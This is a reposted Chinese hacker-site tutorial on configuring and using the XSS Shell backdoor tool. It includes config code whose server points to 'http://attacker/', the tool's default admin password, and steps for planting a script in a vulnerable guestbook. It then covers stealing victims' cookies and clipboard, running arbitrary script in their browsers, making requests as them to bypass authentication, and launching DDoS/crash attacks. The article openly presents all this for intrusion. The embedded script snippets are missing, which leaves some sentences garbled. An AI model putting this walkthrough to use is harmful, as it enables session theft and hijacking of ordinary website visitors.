黑客介绍跨站攻击工具XSS Shell

转自:http://www.myhack58.com/Article/html/3/7/2008/18771.htm

XSS跨站脚本攻击属于被动式攻击,对于急于求成的朋友来说,往往不会被重视,而喜欢挂马的朋友则喜爱有加。通过构造特殊的页面,再把调用该页面的代码嵌在被攻击者网站的某一网页中,而当有人浏览该页面时,在后台即已执行了内嵌的代码。对于被调用页面的构造,根据不同的需求功能也不一样。最常见的是挂马,比如利用IE漏洞悄悄在浏览者的计算机上种植木马;而另一种方式则可以利用互动式页面的各种语言(如ASP,PHP,JSP等)来构造一个完全达到自己需求的页面,而不是简单地做一种达到目的的“介质”。

  对于第一种攻击来说,问题是显而易见的。你得面临的问题起码有四个,分别是相应的系统漏洞、系统补丁、杀毒软件以及防火墙。也就是说,首先你要保证手上有下载并执行漏洞的利用软件,然后祈祷对方没有及时打补丁的习惯,接着下载了软件开始祈祷杀毒软件别把你的木马给Kill掉,最后在通信的时候希望对方的防火墙别阻拦你;而且木马个头一般不小,在浏览器中执行是有异常症状的(起码我们看黑防的人会起疑心)。而后一种攻击方式则不同了,它基本遵循SQL Injection的最大优点:穿透防火墙。除了网站系统的漏洞外,基本不需要其他条件支持。因为控制端的网页在自己服务器上而非类似WebShell放在目标服务器上,所以即使对方的杀毒软件再厉害也没有用的。说了这么多,今天的主角也该上场了,它就是XSS Shell。

  XSS Shell可以作为一个强大的后门和远程管理软件。这个概念首先是由“XSS-Proxy http://xss-proxy.sourceforge.net/”提出的,XSS Shell可以向木马发送请求和接受相关数据,并且以被嵌入代码的页面为后门。这里提醒大家的是,被攻击者不一定是服务器,服务器只是一种介质,真正被攻击的是浏览服务器上我们动过手脚的页面的人。

  XSS Shell的配置

  XSS Shell解压后在目录下有3个文件夹和两个文件,一个是TXT说明,一个是ASP文档。我们把文件夹xssshell和“xssshell.asp”放在自己的服务器上,db文件夹放在服务器上一个隐蔽或是非Web目录下,确保其不能被HTTP下载。

  1) xssshell.asp的配置

  打开xssshell.asp,找到“SERVER CONFIG”部分,代码如下所示。

  // You XSSShell Server

  var SERVER = "http://attacker/";

  // This file's name

  var ME = SERVER + "xssshell.asp?p=1" ;

  // Connector file (can be in php, cfm, pl etc. just stick with implementation)

  var CONNECTOR = SERVER + "xssshell/connector.asp";

  // Commands file (can be in php, cfm, pl etc. just stick with implementation)

  var COMMANDS_URL = SERVER + "xssshell/commands.asp";

  这里用于定义服务器,我们把Server的值换成自己的IP就可以了,如把http://attacker/换成http://127.0.0.1/。为了保险起见,最好再核查一下修改后的Server是否可以让后面的ME、CONNECTOR、COMMANDS_URL的值可行。

  2) xssshell/db.asp的配置

  这里主要修改数据库的路径和进入管理的密码。

  ' Password protection added

  Option Explicit

  '60 minutes

  Session.Timeout = 60

  'Open In Live Enviroments

  'On error resume next

  '// DATABASE CONFIGURATION

  Const DBPATH = "..\db\shell.mdb"

  'Activity check time as seconds

  Const Activity = "10"

  Const SQLSERVER = False

  在“Const DBPATH=”后面修改自己的数据库的地址。管理登录的默认密码是“w00t”,大家可搜索“w00t”后替换为自己的密码。

  3)调试成功

  该软件还提供了一个“sample_victim”文件夹,从字面上就可以猜出是例子的意思,文件夹里有四个Web页面,其中的default.asp运行后如图1所示。      




  看似正常的页面,实际上其中已经嵌入了我们需要的代码:。也就是说,以后我们只需要在可以跨站的地方直接输入这段代码就可以了。

  图2是XSS Shell的管理页面:http://[YOURHOST]/xssshell/,输入密码后即可进入,VICTIMS下已经显示有一个“受害者”了。由于所有页面都是在自己的计算机上,所以下面我再给大家做个实例演示。      



  首先确定自己服务器的IP。打开CMD输入IPCONFIG,得知自己的IP为:125.71.*.*,修改为。接着打开一个存在跨站漏洞的页面,如图3所示,然后发表留言,如图4所示。

             

   

 
留言内容里的代码看来被执行了哦(没有任何显示)。这里我发现一个现象,比如我提交了一个含有“”的留言,如果我再提交一个,则上次提交的留言会被覆盖或是被删除。我尝试了几个ASP系统都是如此,如果重复使用这句代码,甚至会把对方的系统搞乱!

  功能演示

  如图5所示,画线的框内都是XSS Shell可以执行的功能。下面我们对其进行一一说明。            



  1)getCookie()

  这个功能用于获取Cookie,单击它后如图6所示,会显示目标的Cookie(Logs跑到下面了)。这个功能还是很有用的,比如以前的动网前台提权漏洞就需要先获得管理员的Cookie。



    2)getSelfHtml()

  这个功能用于获取用户当前的网页源代码,很简单,大家试用一下就知道了。

    3)alert()

  这个功能一看就知道是向对方发送消息的。它利用的是Alert函数,所以对方接收到的消息是以提示框的形式显示的,如图7所示。输入消息的内容在管理页的参数框内写入,如图8所示。          



  4)eval()

  这个功能可以在受害者的浏览器里执行任意脚本,内容也是在图8的参数框里输入。比如输入javascript:alert("dd")后点击“eval()”链接,就会在受害者那边弹出窗口。

  5)prompt(on>)

  这个功能就比较好玩了。在参数框中输入内容(如你爱我吗?)后执行,在受害者的浏览器中会有如图9所示的提示。在Logs中,我们还可以看到对方的回答,如图10所示。

 
6)getMouseLog()

  这个功能可以记录受害者鼠标的情况,并将其保存在日志中。

  7)getClipboard()

  这个功能用于获取受害者的内存剪贴板上的内容,不过目前只对IE有效,FireFox无法实现。

  8)getInternalIP()

  这个功能用于获取受害者的IP地址,不过目前该功能有缺陷,只对 Mozilla+JVM有效。

  9)getPage()

  这个功能是以受害者的身份请求一个网页,在参数框里填入地址,可以是相对的也可以是绝对的地址。不过为了避免出错,我们还是使用相对地址,请求后的结果如图11所示。在XSS Shell管理页面的下方还有一个Viewer小型浏览器,图中未显示出的图片还是因为路径的原因。利用这个功能,我们可以用于绕过某些验证从而实现提升权限。



最后两项功能是DDoS()和Crash(),DDOS就不用我介绍了,大家都知道;而Crash()则是针对目标CPU发起的攻击,两者在达到的效果上是差不多的。另外,XSS Shell成功发出指令后,有时会出现如图12所示的画线处的数字,它是攻击号码,我们不必理会它,稍后会自动生成结果的,就如同下面的那些结果一样。



  关于XSS Shell,到这里就算介绍完了。我不得不说,它是一款很不错的攻击软件,为我们提供了一种新的方式和思路,也大大方便了我们以后在入侵中的使用,有兴趣的朋友可以自己试试看。

原文地址:https://www.cnblogs.com/shanmao/p/2790606.html